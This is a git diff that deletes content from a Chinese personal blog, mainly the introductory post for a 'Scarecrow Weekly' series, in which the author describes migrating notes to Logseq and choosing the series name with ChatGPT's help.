-](https://r2.eltr.ac/uPic/2024/12/its-running-on-the-tracks-actually-v0-tupf1s9yurmc1.jpeg.webp "[来源 Reddit](https://www.reddit.com/r/youdontsurf/comments/1b8akno/its_running_on_the_tracks_actually/)") - -](https://r2.eltr.ac/uPic/2024/12/hes-thinking-outside-the-box-v0-rk00t7b8nwxd1.jpeg.webp "[来源 Reddit](https://www.reddit.com/r/puns/comments/1gfo19i/hes_thinking_outside_the_box/)") - -](https://r2.eltr.ac/uPic/2024/12/1okofyrxnzz21.jpg.webp "[来源 Reddit](https://www.reddit.com/r/memes/comments/bs55en/this_is_your_spine/)") - -{{</ gallery >}} diff --git a/content/posts/weekly/intro.md b/content/posts/weekly/intro.md deleted file mode 100644 index d8abac25..00000000 --- a/content/posts/weekly/intro.md +++ /dev/null @@ -1,109 +0,0 @@ -+++ -categories = "稻草人周刊" -date = 2024-11-01 -draft = false -featuredImage = "https://r2.eltr.ac/picgo/scarecrow-weekly-initial.jpg" -title = "稻草人周刊:发刊词" -toc = true -aliases = [ - "/posts/稻草人周刊-发刊词/", - "/posts/weekly/稻草人周刊-发刊词/", - "/posts/weekly/intro", -] -+++ -正好趁着万圣节,请容许我为你介绍「稻草人周刊」。 - -## 发刊词 - -### 为什么写「稻草人周刊」 - -大概在半个月前,我将自己的笔记都迁移到了 Logseq(鬼知道这是第几次笔记迁移了)。在此之前,我的笔记散落各处——我尝试在 Obsidian 上实践卡片盒笔记法,在 Notion 上以项目为单位管理相关的临时笔记,由于看上了 flomo 方便的记录方式和简洁的设计,我又用 flomo 收集各种想法、读书笔记和摘录等等。 - -结果简直是一场灾难。 - -因为对笔记「原子性」的偏执,记笔记的成本大大提高,我的 Obsidian 笔记库长期落灰。由于嫌弃 Notion 的加载速度,觉得记录起来不方便,便想要先把笔记都记在一个地方,稍后再整理,于是又增加了整理笔记的成本。由于用 flomo 记录非常顺畅,所以我把临时的笔记都写在 flomo 上,稍后再根据「知识」「项目笔记」「读书笔记」「任务」等分类放到不同的笔记软件里。因为上课和开会时习惯手写笔记,所以会使用 iPad 上的备忘录和 Prodrafts 记录临时的笔记——于是我每天都需要抽时间整理 flomo、备忘录和 Prodrafts 里的笔记…… - -我想我不用再继续讲下去了。 - - - -鸡蛋放的篮子多了,就把自己弄的手忙脚乱,结果最后也没学到太多东西。 - -讽刺的是,所谓的效率工具,到最后反而拖慢了我的效率。 - -虽然这次笔记体系的迭代并没有减少我使用的笔记软件的数量——我只是放弃了 flomo,把 Obsidian 当作写作工具而非笔记工具,把 Notion 用作个人数据管理而不做过于复杂的功能,然后上手了 Logseq——但我知识输入和输出的改变是显著的。 - -Logseq 的精妙之处在于,它真正地让我实现了「完全不用管把笔记放在哪,只管写就好了」,我可以放心大胆地把任何不相关的笔记放在一个页面,只要打上了合适的标签,就不怕找不到它。 - -尽管 Obsidian 也有日记功能,也支持双链,但它的 UI 设计就没给我那种「你应该在一个页面里查看它的反向链接」的感觉。 - -这是 Obsidian 页面底部的反向链接部分,它的标题字号更大,正文内容更小,并且只会显示链接附近的内容。 - - - -这是 Logseq 中某个页面的反向链接部分,它能较为完整地显示上下文,并且在这里查看笔记,就和在原页面查看一样,还能直接上手编辑。 - - - -而且 Logseq 没有 Obsidian 那样的文件视图,也就是说,在大部分时候,用户都感觉不到自己需要管理很多笔记文件,更不需要整理文件夹。只需要打标签即可,写下链接或者标签之后(顺带一提,Logseq 的标签和链接其实是同一个东西,只是长得不一样),笔记块就会被添加到对应链接的下方。如果链接不存在,Logseq 就会自动创建页面。 - -扯得有些远,总之,我现在拥有了更方便的笔记体系,我也能直观地感受到自己每天写下的东西都更多了。不过问题在于,写下之后,我没有及时回顾笔记的系统。 - -尽管 Logseq 有记忆卡片功能,但并不是所有东西我都需要背下来,只是需要多看一看加深理解,而且我也不能把每一个笔记块都变成记忆卡片吧。 - -所以,我希望我能每周回顾并复盘一次当周的笔记,于是我就开始自己写周复盘,大概就这样坚持了三周。我把回顾的内容分为「专业学习笔记」「读书笔记」「新知回顾」「行动和思考复盘」,可以说几乎囊括了我在 Logseq 上记下的所有类型的笔记。 - -不过问题在于,我似乎并没有什么写周复盘的动力。 - -是的,我把这周记下的笔记都总结复盘了一遍,给谁看呢?我也不见得会把自己藏在某个角落里的复盘记录时不时翻出来看,而且就算拿来看,内容也很干,大概是读不下去的。 - -那不妨就把周期性的总结变成周期性的输出吧! - -### 什么是「稻草人周刊」 - -我得承认这个名字有些让人摸不着头脑,但也不算坏。 - -实际上,在想这个名字的时候,我和 ChatGPT 展开了一场非常有意思的对话。我发现,至少在起名字这件事情上,AI 真的能帮助自己思考,它能根据我的提示词,延伸出许多相关的想法。很多时候,我只是在脑子里有一个模糊的印象,我并不知道自己要什么,当我把自己能描述出来的想法写给 AI 时,我能从它的答复里明白,什么不是我想要的,什么更接近我想要的。 - -一开始,我只是告诉 ChatGPT,我正在给一个叫做「极客死亡计划」的博客计划新的文章系列,定位大概是「weekly digest」。然后它给出了一些很直白的名字——我意识到了我不想要这些名字。 - -于是我让它生成一些相关的拉丁语单词,其中 Hortus 和 Corvus 这两个词吸引了我的注意,意思分别是「花园」和「乌鸦/渡鸦」。我很喜欢「数字花园」的概念,把知识的框架体系比作花园和花园里的小径,确实和我想要的东西有一些关联;ChatGPT 说「乌鸦」常常和「知识」联系起来,但我只觉得「乌鸦」的死亡气息和博客的名字非常相衬。 - - - -然后我灵光乍现,由「花园」和「乌鸦」联想到了「稻草人」。 - - - -(不得不赞叹 ChatGPT 的联想能力,他还从稻草人驱赶鸟类的功能联想到了「赶走扰乱思绪的东西」的比喻义) - -我又想到,「稻草人」不就是「假人」吗?我写周报的意图,就是为了通过「观众」来让自己有回顾笔记的动力,同时也在输出的同时加深思考,还能起到输出倒逼输入的作用(毕竟,要是这周什么都没读,那我要的周报里要写什么呢……)。**实际上,虽然访客不多,但内容一旦公开,就有假想的读者存在了,文字就不再是只写给自己看的了**。从这层含义上来看,这个名字选得还真是巧妙。 - - - -「稻草人周刊」的名字就这么确定了。 - -### 「稻草人周刊」写什么? - -具体的来讲,每期周刊大概会包含以下的内容: - -1. **近期的一些小故事和感想**。就像你现在正在读的这一篇,只不过真正的周刊里,这一部分的篇幅会短很多 -2. **读书笔记**。分享最近正在读的书,以及书里让我觉得有趣的点 -3. **零碎的摘录和新知识**。因为订阅了不少 RSS 源,读到有启发的文章也会写笔记,这部分包含一些有趣的观点,和各个领域值得了解的知识,像是术语和定律之类的。 - -当然,我的笔记里也会有计算机科学、数学等学校里学到的东西,这部分内容比较枯燥,如果没有可以拓展到生活或者其他方面的内容,大概是不会写到周刊里的。 - -大概就像写 Newsletter 那样吧,会有固定的格式和栏目,并且打算在每周一更新。 - -这篇文章虽然被归类到了「稻草人周刊」这个系列里,但并不是周刊的一部分,真正的周刊大概要过几天才会发出来。 - -## Two More Things - -1. 不知道你有没有注意到,博客的外观发生了一些改变。 -2. 发现了一个纯文字、没有社交属性的分享平台,叫做 [Essay](https://www.essay.ink/),打算用来记一些不成文的片段想法,如果你感兴趣,可以访问 [我的主页](https://www.essay.ink/eltrac),Essay 上的内容也支持 [RSS 订阅](https://www.essay.ink/eltrac/rss.xml)。 - -最后,感谢你读到这里,祝好~ - ---- - -封面:Photo by [Steven Russell](https://unsplash.com/@russeller?utm_content=creditCopyText&utm_medium=referral&utm_source=unsplash) on [Unsplash](https://unsplash.com/photos/a-scarecrow-with-a-hat-and-a-beard-in-a-field-KDNDFm8NmBg?utm_content=creditCopyText&utm_medium=referral&utm_source=unsplash) |
